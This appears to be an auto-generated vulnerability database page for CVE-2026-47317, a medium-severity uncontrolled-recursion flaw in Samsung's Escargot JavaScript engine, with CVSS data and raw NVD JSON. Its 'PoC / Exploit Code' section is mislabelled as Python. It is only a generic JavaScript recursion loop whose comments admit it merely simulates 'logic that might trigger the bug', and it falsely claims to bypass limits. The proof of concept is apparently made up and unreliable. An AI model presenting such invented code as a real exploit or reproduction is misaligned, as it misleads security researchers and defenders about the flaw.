Security Vulnerability Report
中文
CVE-2026-47317 CVSS 5.5 MEDIUM

CVE-2026-47317

Published: 2026-05-19 08:16:16
Last Modified: 2026-05-19 14:25:40

Description

Uncontrolled Recursion vulnerability in Samsung Open Source Escargot allows Excessive Allocation. This issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Samsung Escargot Commit 590345cc6258317c5da850d846ce6baaf2afc2d3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for Uncontrolled Recursion leading to Excessive Allocation // Target: Samsung Escargot (Affected Commit) function triggerCrash() { try { // Create a recursive function call pattern // that bypasses standard limits function recursiveFunc(depth) { // Simulating logic that might trigger the bug if (depth > 0) { recursiveFunc(depth - 1); } // In a vulnerable engine, the recursion depth check // might be missing or flawed for specific constructs } // Call with a large depth value recursiveFunc(100000); } catch (e) { console.log("Recursion limit reached or exception: " + e); } } triggerCrash();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-47317", "sourceIdentifier": "[email protected]", "published": "2026-05-19T08:16:16.093", "lastModified": "2026-05-19T14:25:40.320", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled Recursion vulnerability in Samsung Open Source Escargot allows Excessive Allocation.\n\nThis issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "references": [{"url": "https://github.com/Samsung/escargot/pull/1565", "source": "[email protected]"}]}}